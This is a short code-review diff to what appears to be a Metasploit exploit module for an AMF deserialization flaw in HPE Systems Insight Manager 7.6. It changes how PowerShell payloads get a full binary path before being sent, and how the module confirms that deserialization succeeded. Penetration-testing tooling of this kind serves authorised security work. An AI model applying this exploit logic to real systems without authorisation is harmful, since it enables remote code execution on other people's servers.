First round of code adjustments per review comments

Author: gwillcox-r7

modules/exploits/windows/http/hpe_sim_76_amf_deserialization.rb

@@ -90,9 +90,9 @@ def check
   def exploit
     case target['Type']
     when :windows_command
-      execute_command(payload.encoded.gsub!(/^powershell.exe /, 'C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe '))
+      execute_command(payload.encoded.gsub!(/^powershell(?:\.exe)* /, 'C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe ')) # If PowerShell is being used to run the command, specify the full path so that it will run correctly.
     when :windows_powershell
-      execute_command(cmd_psh_payload(payload.encoded, payload.arch.first, remove_comspec: true).gsub!(/^powershell.exe /, 'C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe '))
+      execute_command(cmd_psh_payload(payload.encoded, payload.arch.first, remove_comspec: true).prepend('C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\')) # Need full path to PowerShell binary for it to run for some reason.
     end
   end
 
@@ -141,8 +141,8 @@ def execute_command(cmd, _opts = {})
     unless res&.code == 200
       fail_with(Failure::UnexpectedReply, 'Non-200 HTTP response received while trying to execute the command')
     end
-    if !res.to_s.include?('java.lang.NullPointerException')
-      fail_with(Failure::UnexpectedReply, 'Server should respond with a java.lang.NullPointerException upon successful deserialization, but no such message was recieved!')
+    unless res.to_s.include?('java.lang.NullPointerException')
+      fail_with(Failure::UnexpectedReply, 'Server should respond with a java.lang.NullPointerException upon successful deserialization, but no such message was received!')
     end
   end
 end